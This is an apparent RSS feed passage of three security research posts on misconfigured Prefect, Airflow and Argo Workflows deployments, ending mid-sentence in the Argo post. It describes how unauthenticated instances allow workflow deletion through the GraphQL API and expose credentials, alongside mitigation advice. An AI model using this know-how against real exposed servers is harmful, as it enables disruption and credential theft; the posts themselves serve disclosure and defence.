7.6K stars on &lt;a href="https://github.com/prefecthq/prefect"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. There are two
ways to set up Prefect: 1) Using the
&lt;a href="https://www.prefect.io/cloud/"target="_blank" rel="noopener"&gt;Prefect Cloud&lt;/a&gt; engine or 2) Setting up a local
&lt;a href="https://github.com/prefecthq/server"target="_blank" rel="noopener"&gt;Prefect server&lt;/a&gt;. The main difference
between the two options is Prefect Cloud has everything already configured and
ready to use while the latter option requires users to put more effort into
configuring the infrastructure. Prefect uses a full
&lt;a href="https://docs.prefect.io/orchestration/ui/interactive-api.html"target="_blank" rel="noopener"&gt;GraphQL API&lt;/a&gt;
for interacting with the platform and easily accessing all of the information
stored in the platform. The API can be accessed using the web UI or through a
Python client. When using Prefect Cloud, authentication is required to access
the platform. However, when using the Prefect server, authentication is not
required by default, meaning that anyone with access to the server can get
information from the Prefect platform. For companies that have instances
exposed to the internet and which don&amp;rsquo;t incorporate authentication, essentially
this means that anyone can view the information stored by those companies on
Prefect. This includes flows, tasks, agents and projects. Unlike
&lt;a href="../../../2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/"&gt;Argo&lt;/a&gt;
and
&lt;a href="../../../2021/10/misconfigured-airflows-leak-credentials/"&gt;Airflow&lt;/a&gt;,
Prefect is a much more secure platform and we did not find any evidence of
companies that use Prefect having their information leaked. We examined the
functions exposed by the API and the actions that users can make in the web UI.
There are several functions in the web UI and GraphQL API that can be used by
attackers to delete elements in the workflow platform and launch disruptive
attacks on the companies that own the exposed instances.&lt;/p&gt;
&lt;h2&gt;How is the Attack Executed?&lt;span class="hx:absolute hx:-mt-20" id="how-is-the-attack-executed"&gt;&lt;/span&gt;
&lt;a href="#how-is-the-attack-executed" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Workflows can be deleted with a single button click in the web UI as shown
below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/exposed-prefect-workflows-could-lead-to-disruptive-attacks/images/fig1.png" title="Deleting a workflow in the web UI." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Deleting a workflow in the web UI.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another way to delete workflows, as well as projects, tasks and agents, is by
using queries from the GraphQL API, which is available in the web UI or on port
4200 of the server that runs the Prefect platform. Using a simple query, an
attacker can retrieve the ID of the elements they plan to delete and then use
the suitable API functions to delete the elements. Those elements are
&lt;code&gt;delete_task&lt;/code&gt;, &lt;code&gt;delete_flow&lt;/code&gt;, &lt;code&gt;delete_project&lt;/code&gt; or &lt;code&gt;delete_agent&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/exposed-prefect-workflows-could-lead-to-disruptive-attacks/images/fig2.png" title="Obtaining the ID of a task using GraphQL API." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Obtaining the ID of a task using GraphQL API.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/exposed-prefect-workflows-could-lead-to-disruptive-attacks/images/fig3.png" title="Deleting a task which has a specific ID." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Deleting a task which has a specific ID.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;The Risk of Exposed Prefect Instances&lt;span class="hx:absolute hx:-mt-20" id="the-risk-of-exposed-prefect-instances"&gt;&lt;/span&gt;
&lt;a href="#the-risk-of-exposed-prefect-instances" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Prefect instances exposed to the internet don&amp;rsquo;t enable authentication by
default, allowing attackers to delete elements in the platform and disrupt the
everyday work of the organization. This type of attack can affect an
organization in several ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data loss – losing information about workflows, tasks and data from previous
deployments&lt;/li&gt;
&lt;li&gt;Disruption – workflows are a key utility leveraged by different teams to
accomplish tasks. Damage in a company&amp;rsquo;s Prefect instance affects all of the
teams from that company that use the platform and the clients that depend on
the service(s) provided by the victim company. For example, a company that
uses workflows to automate its purchasing process could be blocked from
making transactions until the issue is resolved. Another example is the
disruption of client onboarding processes powered by automated workflows&lt;/li&gt;
&lt;li&gt;Delays in project deployment – teams and customers relying on workflows to
accomplish tasks most likely would experience delays since it takes time to
restore the platform or even set up a new one. For example, a business that
uses automated workflows to send emails to its customers could experience
delays. In addition, disruption of a service could tarnish a company&amp;rsquo;s brand
and reputation resulting in financial loss&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stay Secure&lt;span class="hx:absolute hx:-mt-20" id="stay-secure"&gt;&lt;/span&gt;
&lt;a href="#stay-secure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Misconfigurations are the number one cause of security breaches in the cloud
today. Companies exposing their instances to the internet without enforcing
authentication is always a bad idea, especially if the platform provides a
powerful API that can also be leveraged by attackers. While Prefect is more
secure than workflow platforms like Argo and Airflow, exposed Prefect
deployments are still candidates for disruptive attacks in which attackers can
alter the workflow environment and greatly damage the company that uses the
platform. We advise on adding firewall rules to hide the instance from the
internet and ensure that authentication is configured. If the application does
not offer sufficient authentication mechanisms, consider leveraging tools
provisioned by the cloud provider to implement your own authentication such as
GCP&amp;rsquo;s Identity-Aware Proxy or AWS&amp;rsquo;s Session Manager.&lt;/p&gt;</description></item><item><title>Misconfigured Airflows Leak Thousands of Credentials from Popular Services</title><link>https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/</link><pubDate>Mon, 04 Oct 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/</guid><description>
&lt;p&gt;&lt;em&gt;This research refers to misconfigured Apache Airflow managed by individuals or
organizations (&amp;lsquo;users&amp;rsquo;). As a result of the misconfiguration, the credentials
of users are exposed, including their own credentials to the different
platforms, applications and services mentioned in this article. This article
doesn&amp;rsquo;t refer to exposed credentials of the entities behind the development of
the platforms, applications and services themselves.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Apache Airflow is the #1 starred open-source workflows application on GitHub&lt;span class="hx:absolute hx:-mt-20" id="apache-airflow-is-the-1-starred-open-source-workflows-application-on-github"&gt;&lt;/span&gt;
&lt;a href="#apache-airflow-is-the-1-starred-open-source-workflows-application-on-github" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Workflow management platforms are an indispensable tool for automating business
and IT tasks. These platforms make it easier to create, schedule and monitor
workflows. They are typically hosted on the cloud to provide increased
accessibility and scalability. On the flip side, misconfigured instances that
allow internet-wide access make these platforms ideal candidates for
exploitation by attackers.&lt;/p&gt;
&lt;p&gt;While researching a misconfiguration in the popular workflow platform, Apache
Airflow, we discovered a number of unprotected instances. These unsecured
instances expose sensitive information of companies across the media, finance,
manufacturing, information technology (IT), biotech, e-commerce, health,
energy, cybersecurity, and transportation industries. In the vulnerable
Airflows, we see exposed credentials for popular platforms and services such as
Slack, PayPal, AWS and more.&lt;/p&gt;
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;A number of misconfigured Airflow instances have exposed the credentials of
popular services including cloud hosting providers, payment processing, and
social media platforms.&lt;/li&gt;
&lt;li&gt;Exposing secrets such as user credentials can cause data leakage or provide
attackers with the ability to spread further in the system.&lt;/li&gt;
&lt;li&gt;Customer data exposed as a result of a data leak can lead to violation of
data protection laws and the possibility of legal action.&lt;/li&gt;
&lt;li&gt;There is also the possibility that malicious code execution and malware can
be launched on the exposed production environments and even on Apache Airflow
itself.&lt;/li&gt;
&lt;li&gt;We have notified the identified entities to fix their misconfigured Airflow
instances as part of the responsible disclosure policy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All Apache Airflow users are urged to update to the latest version immediately
and make sure their deployments are only accessible to authorized users. In
addition, adopt &lt;a href="#secure-coding-practices"&gt;secure coding practices&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What is Apache Airflow?&lt;span class="hx:absolute hx:-mt-20" id="what-is-apache-airflow"&gt;&lt;/span&gt;
&lt;a href="#what-is-apache-airflow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apache Airflow is an open-source workflow management platform. The platform
simplifies the process of creating and managing complex workflows. Airflow
provides plug-and-play integrations with many technologies. Its
&lt;a href="https://github.com/apache/airflow/"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt; repository has 22.8K stars, making
it the world&amp;rsquo;s most
&lt;a href="https://www.datarevenue.com/en-blog/airflow-vs-luigi-vs-argo-vs-mlflow-vs-kubeflow"target="_blank" rel="noopener"&gt;popular&lt;/a&gt;
open-source workflow project.&lt;/p&gt;
&lt;p&gt;Airflow uses standard Python to create and schedule workflows, providing users
with a dynamic and convenient way to work with the platform. There are several
concepts and features in Airflow that make it flexible and popular among users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Directed Acyclic Graph (DAG) – the primary concept in Airflow that represents
a collection of tasks with defined dependencies and relationships.&lt;/li&gt;
&lt;li&gt;Task – the basic unit of execution in Airflow, with each node in the DAG
represented by a task.&lt;/li&gt;
&lt;li&gt;Variables – a way to store content and settings in a key value storage,
including passwords and API keys that are stored as masked strings. Airflow
also supports variable encryption using
&lt;a href="https://airflow.apache.org/docs/apache-airflow/stable/security/secrets/fernet.html#security-fernet"target="_blank" rel="noopener"&gt;Fernet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Connections – A feature that stores parameters (username, password, host)
needed to connect to external systems.&lt;/li&gt;
&lt;li&gt;Logs – Airflow supports logging mechanisms as well as the ability to emit
metrics.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Version 1 of Airflow was released in
&lt;a href="https://github.com/apache/airflow/releases/tag/1.0.0"target="_blank" rel="noopener"&gt;2015&lt;/a&gt;. From the new web
server UI from version 1.10.0 many security changes were included, for
instance, removing the dangerous Ad Hoc query. In December 2020, version 2.0.0
was released and included many changes in functionality, performance, UI, and
security of the platform.&lt;/p&gt;
&lt;p&gt;Version 2 presents a new REST API that requires authentication for all
operations, including logging into the platform. Additionally, the logs do not
not contain sensitive information and specification of the Fernet key is
required for variable encryption. Finally, the configuration is adapted. This
means that several fields are deprecated and other settings require explicit
values rather than using default values. Most of our research is focused on the
older, less secure versions of Apache Airflow, which also emphasizes the risks
associated with procrastinating on making software updates.&lt;/p&gt;
&lt;h2&gt;Misconfiguration Risk&lt;span class="hx:absolute hx:-mt-20" id="misconfiguration-risk"&gt;&lt;/span&gt;
&lt;a href="#misconfiguration-risk" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Credential Exposure&lt;span class="hx:absolute hx:-mt-20" id="credential-exposure"&gt;&lt;/span&gt;
&lt;a href="#credential-exposure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;One of the main risks of a misconfigured Airflow instance is the credentials
that are exposed with it. These credentials can give a threat actor access to
legitimate accounts and databases, with the ability to perform lateral
movement. If a large number of passwords are visible, a threat actor can also
use this data to detect patterns and common words to infer other passwords.
These can be leveraged in dictionary or brute-force-style attacks against other
platforms. Popular platforms that we found with exposed credentials as a result
of misconfigured Airflow instances include database passwords, API keys, and
cloud credentials. These include but are not limited to:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Most of these credentials are exposed through insecure coding practices. We
document some of the ways in which the credentials have been exposed below.&lt;/p&gt;
&lt;h4&gt;Insecure Coding Practices&lt;span class="hx:absolute hx:-mt-20" id="insecure-coding-practices"&gt;&lt;/span&gt;
&lt;a href="#insecure-coding-practices" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The most common way to leak credentials in Airflow is through insecure coding
practices. We discovered many instances with hardcoded passwords inside the
Python DAG code. An example of a hardcoded password for a production PostgreSQL
database is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig2.png" title="Hardcoded PostgreSQL password in DAG code." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded PostgreSQL password in DAG code.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Variables&lt;span class="hx:absolute hx:-mt-20" id="variables"&gt;&lt;/span&gt;
&lt;a href="#variables" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The next most common way for credentials to be leaked is through the
&amp;lsquo;variables&amp;rsquo; feature in Airflow. The variables feature allows a user to define a
variable value that is able to be globally used across all DAG scripts. It is
very common to see hardcoded passwords in these variables. An example of a
Slack token used in a variable is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig3.png" title="Hardcoded Slack token in variables." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded Slack token in variables.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Connections&lt;span class="hx:absolute hx:-mt-20" id="connections"&gt;&lt;/span&gt;
&lt;a href="#connections" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Connections are the correct way to store credentials in Airflow. When a
connection with a password or token is added to Airflow, the password is
&lt;a href="https://airflow.apache.org/docs/apache-airflow/stable/howto/connection.html#securing-connections"target="_blank" rel="noopener"&gt;securely encrypted&lt;/a&gt;
in a database using the Fernet key. In some cases, this feature is misused and
the credentials are stored in the &lt;code&gt;Extra&lt;/code&gt; field of the connection in plaintext.
This means that they are not encrypted and can be viewed by anyone. An example
with an AWS key stored in the extra field is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig4.png" title="AWS key located in misused connection." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;AWS key located in misused connection.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Logs&lt;span class="hx:absolute hx:-mt-20" id="logs"&gt;&lt;/span&gt;
&lt;a href="#logs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In versions of Airflow prior to 1.10.13, credentials added via the
&lt;a href="https://airflow.apache.org/docs/apache-airflow/stable/howto/connection.html#creating-a-connection-from-the-cli"target="_blank" rel="noopener"&gt;command line interface (CLI)&lt;/a&gt;
would be logged in plaintext in the logs section; now registered as
&lt;a href="https://www.cvedetails.com/cve/CVE-2020-17511/"target="_blank" rel="noopener"&gt;CVE-2020-17511&lt;/a&gt;. Below shows a
log entry for a SQL Lakehouse platform.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig5.png" title="Password located in logs." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Password located in logs.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Configuration&lt;span class="hx:absolute hx:-mt-20" id="configuration"&gt;&lt;/span&gt;
&lt;a href="#configuration" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The configuration file (airflow.cfg) is created when Airflow is first started.
It contains Airflow&amp;rsquo;s configuration and it is able to be changed. This file can
contain sensitive information such as passwords and keys. If the setting in the
file &lt;code&gt;expose_config&lt;/code&gt; is set to &lt;code&gt;True&lt;/code&gt;, anyone can access the configuration from
the web server UI. Accessing from the UI can expose credentials. It is common
to see plaintext fernet keys in these files as shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig6.png" title="Key located in exposed configuration file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Key located in exposed configuration file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Leakage of Sensitive Data&lt;span class="hx:absolute hx:-mt-20" id="leakage-of-sensitive-data"&gt;&lt;/span&gt;
&lt;a href="#leakage-of-sensitive-data" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Many Airflow instances contain sensitive information. When these instances are
exposed to the internet the information becomes accessible to everyone, since
the authentication is disabled.&lt;/p&gt;
&lt;p&gt;Leakage of sensitive data essentially means that attackers have access to
information on the organization that owns the exposed server. They can steal
and use the information in many ways. For example, attackers can use leaked
information to gather more information about the organization (reconnaissance
stage as defined in
&lt;a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html"target="_blank" rel="noopener"&gt;The Cyber Kill Chain®&lt;/a&gt;)
and launch an attack that is tailored towards that organization. Leaked
information can also reveal details about the compromised organization&amp;rsquo;s
clients. The consequences of data leakage can lead to serious reputational
damage for the company and the potential loss of existing and potential new
clients.&lt;/p&gt;
&lt;p&gt;In versions prior to v1.10 of Airflow, there is a feature that lets users run
Ad Hoc database queries and get results from the database. While this feature
can be handy, it is also very dangerous because on top of there being no
authentication, anyone with access to the server can get information from the
database.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig7.png" title="Screenshot of the Ad Hoc Query feature in Airflow UI." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot of the Ad Hoc Query feature in Airflow UI.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Many exposed Airflow instances that we found revealed information about the
services and platforms that companies are using in their software development
environments. For example, several instances included the private names of
Docker images or internal dependencies used in the workflow. Exposing
information about tools and packages used in the organization&amp;rsquo;s infrastructure
can jeopardize the organization and also be leveraged by threat actors in
supply chain attacks. This can lead to attacks that leverage dependency or
image short names to deliver malicious code instead of the intended code. A
really good example of this type of attack is covered
&lt;a href="https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig8.png" title="Private container registry." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Private container registry.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Legal Action&lt;span class="hx:absolute hx:-mt-20" id="legal-action"&gt;&lt;/span&gt;
&lt;a href="#legal-action" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Exposing customer information can also lead to violation of data protection
laws and the possibility of legal action. One such data protection law is
General Data Protection Regulation (GDPR), which applies to organizations
handling the data of European citizens or any entities located in the European
Union (EU). Violating this law by leaking sensitive customer information can
lead to sizable administrative fines.&lt;/p&gt;
&lt;p&gt;Disruption of clients&amp;rsquo; operations through poor cybersecurity practices can also
result in legal action such as class action lawsuits. In the May 2021 Colonial
Pipeline hack, consumers that had their business disrupted
&lt;a href="https://www.washingtonpost.com/technology/2021/07/25/ransomware-class-action-lawsuit/"target="_blank" rel="noopener"&gt;filed class action lawsuits&lt;/a&gt;
against Colonial Pipeline.&lt;/p&gt;
&lt;h3&gt;Malware&lt;span class="hx:absolute hx:-mt-20" id="malware"&gt;&lt;/span&gt;
&lt;a href="#malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;There is also the possibility that Airflow plugins or features can be abused to
run malicious code. An example of how an attacker can abuse a native
&amp;lsquo;Variables&amp;rsquo; feature in Airflow is if any code or images placed in the variables
form is used to build evaluated code strings.&lt;/p&gt;
&lt;p&gt;Variables are able to be edited by any visiting user which means that malicious
code could be injected. One entity we observed was using variables to store
internal container image names to execute. These container image variables
could be edited and swapped out with an image containing and running
unauthorized or malicious code.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig9.png" title="Image name variables vulnerable to exploitation." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Image name variables vulnerable to exploitation.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another possible route for malicious code execution can come through unofficial
third-party plugins. In some instances, we noticed that the plugin
&lt;a href="https://github.com/andreax79/airflow-code-editor"target="_blank" rel="noopener"&gt;&lt;code&gt;airflow-code-editor&lt;/code&gt;&lt;/a&gt; was
being used. This can be leveraged to edit DAGs to include malicious code that
can then be triggered from the UI. Of all the exposed instances, we noted only
a small percentage using these types of vulnerable plugins.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/10/misconfigured-airflows-leak-credentials/images/fig10.png" title="Vulnerable code editor plugin." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Vulnerable code editor plugin.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Mitigation&lt;span class="hx:absolute hx:-mt-20" id="mitigation"&gt;&lt;/span&gt;
&lt;a href="#mitigation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Versioning&lt;span class="hx:absolute hx:-mt-20" id="versioning"&gt;&lt;/span&gt;
&lt;a href="#versioning" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Airflow made great progress in terms of security features implemented in
version 2.0. The changes included the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The dangerous Ad Hoc query was removed from the GUI.&lt;/li&gt;
&lt;li&gt;The logs do not leak information.&lt;/li&gt;
&lt;li&gt;Enforced login and authentication required for all operations in the REST
API.&lt;/li&gt;
&lt;li&gt;Security tab was added to the dashboard. It provides information about users
and the permissions they have for each menu in the dashboard.&lt;/li&gt;
&lt;li&gt;The configuration file is more strict and requires explicit specifications of
configuration values rather than using default values.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In light of the major changes made in version 2, it is strongly recommended to
update the version of all Airflow instances to the latest version. Make sure
that only authorized users can connect.&lt;/p&gt;
&lt;h3&gt;Secure Coding Practices&lt;span class="hx:absolute hx:-mt-20" id="secure-coding-practices"&gt;&lt;/span&gt;
&lt;a href="#secure-coding-practices" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Secure coding practices should be adopted whenever possible. Passwords should
not be hardcoded and the long names of images and dependencies should be
utilized. You will not be protected when using poor coding practices even if
you believe the application is firewalled off to the internet.&lt;/p&gt;
&lt;p&gt;The connections should be utilized in the proper way specified by Airflow for
maximum security. That process for managing connections is documented
&lt;a href="https://airflow.apache.org/docs/apache-airflow/stable/howto/connection.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If there is sensitive information that can not be placed within the
connections, consider using environment variables instead.&lt;/p&gt;
&lt;h2&gt;Detecting Attackers Exploiting Misconfigurations&lt;span class="hx:absolute hx:-mt-20" id="detecting-attackers-exploiting-misconfigurations"&gt;&lt;/span&gt;
&lt;a href="#detecting-attackers-exploiting-misconfigurations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Misconfigurations and broken access control are among the top reasons for
access to unauthorized functionality and data. If you don&amp;rsquo;t believe us, check
out our research about misconfigurations in another popular workflow platform
called
&lt;a href="../../../2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/"&gt;Argo Workflows&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the event that an attacker has already exploited a misconfiguration or
vulnerability, you will need to detect and terminate the malicious or
unauthorized code in your production environment as soon as it is executed.&lt;/p&gt;</description></item><item><title>New Attacks on Kubernetes via Misconfigured Argo Workflows</title><link>https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/</link><pubDate>Tue, 20 Jul 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/</guid><description>
&lt;h2&gt;Key Points&lt;span class="hx:absolute hx:-mt-20" id="key-points"&gt;&lt;/span&gt;
&lt;a href="#key-points" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Intezer has detected a new attack vector against Kubernetes (K8s) clusters
via misconfigured Argo Workflows instances.&lt;/li&gt;
&lt;li&gt;Attackers are already taking advantage of this vector as we detected
operators dropping cryptominers using this method in the wild.&lt;/li&gt;
&lt;li&gt;We have identified infected nodes and there is the potential for larger scale
attacks due to hundreds of misconfigured deployments. We have detected
exposed instances of Argo Workflows that belong to companies from different
sectors including technology, finance and logistics.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/argoproj/argo-workflows"target="_blank" rel="noopener"&gt;Argo Workflows&lt;/a&gt; is an
open-source, container-native workflow engine designed to run on K8s
clusters.&lt;/li&gt;
&lt;li&gt;Argo Workflows instances with misconfigured permissions allow threat actors
to run unauthorized code on the victim&amp;rsquo;s environment.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Overview&lt;span class="hx:absolute hx:-mt-20" id="overview"&gt;&lt;/span&gt;
&lt;a href="#overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kubernetes (K8s) is revolutionizing the cloud computing environment, having
become the most popular platform for container orchestration. It is also one of
the most popular repositories on
&lt;a href="https://github.com/kubernetes/kubernetes"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;, with over 100,000 commits
and over 3,000 contributors. Each year there is a steady increase in
enterprises using Kubernetes and the number of clusters they deploy. According
to the Cloud Native Computing Foundation (CNCF)
&lt;a href="https://www.cncf.io/wp-content/uploads/2020/11/CNCF_Survey_Report_2020.pdf"target="_blank" rel="noopener"&gt;2020 survey&lt;/a&gt;,
91% of respondents are using Kubernetes, compared to 78% in 2019 and 58% in
2018. In the same survey, it was reported that among the top challenges of
using and deploying containers were complexity, security and lack of training.&lt;/p&gt;
&lt;p&gt;With these challenges that enterprises face using containers and K8s clusters,
there has never been a greater opportunity for attackers to exploit weaknesses
in security. Applications such as &amp;ldquo;Argo Workflows&amp;rdquo; orchestrate parallel jobs in
Kubernetes by providing a friendly user interface and the ability to run CI/CD
pipelines without having to configure &amp;ldquo;complex software development products.&amp;rdquo;
The application is &lt;a href="https://argoproj.github.io/argo-workflows/"target="_blank" rel="noopener"&gt;marketed&lt;/a&gt; to
&amp;ldquo;Easily run compute intensive jobs for machine learning or data processing in a
fraction of the time using Argo Workflows on Kubernetes.&amp;rdquo; Even with products
like Argo helping to reduce the complexity of deployment, there is still always
the possibility of misconfiguration or exploitation.&lt;/p&gt;
&lt;p&gt;Recently, while studying the impact of exposed Argo Workflows instances, we
discovered a number of unprotected instances, operated by companies in several
industries including technology, finance and logistics. Exposed instances can
contain sensitive information such as code, credentials and private container
image names. We also discovered that in many instances, permissions are
configured which allow any visiting user to deploy workflows. We also detected
that some misconfigured nodes are being targeted by threat actors. An example
of an attack found in the wild, launching a popular cryptocurrency miner
container, is described later in this blog.&lt;/p&gt;
&lt;h2&gt;Argo Overview&lt;span class="hx:absolute hx:-mt-20" id="argo-overview"&gt;&lt;/span&gt;
&lt;a href="#argo-overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The core resource in Argo is the &amp;ldquo;Workflow.&amp;rdquo; The workflow is defined using a
YAML file containing a &lt;code&gt;spec&lt;/code&gt; for the type of work to be performed. Most
commonly, each step in an Argo workflow is a container. An example &amp;ldquo;Hello
World&amp;rdquo; workflow is shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These workflows are executed from a template or submitted directly through the
Argo user interface, as shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;How Argo is Abused by Attackers&lt;span class="hx:absolute hx:-mt-20" id="how-argo-is-abused-by-attackers"&gt;&lt;/span&gt;
&lt;a href="#how-argo-is-abused-by-attackers" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In instances when permissions are misconfigured, it is possible for an attacker
to access an open Argo dashboard and submit their own workflow. In one cluster,
we noticed that a popular cryptocurrency mining container,
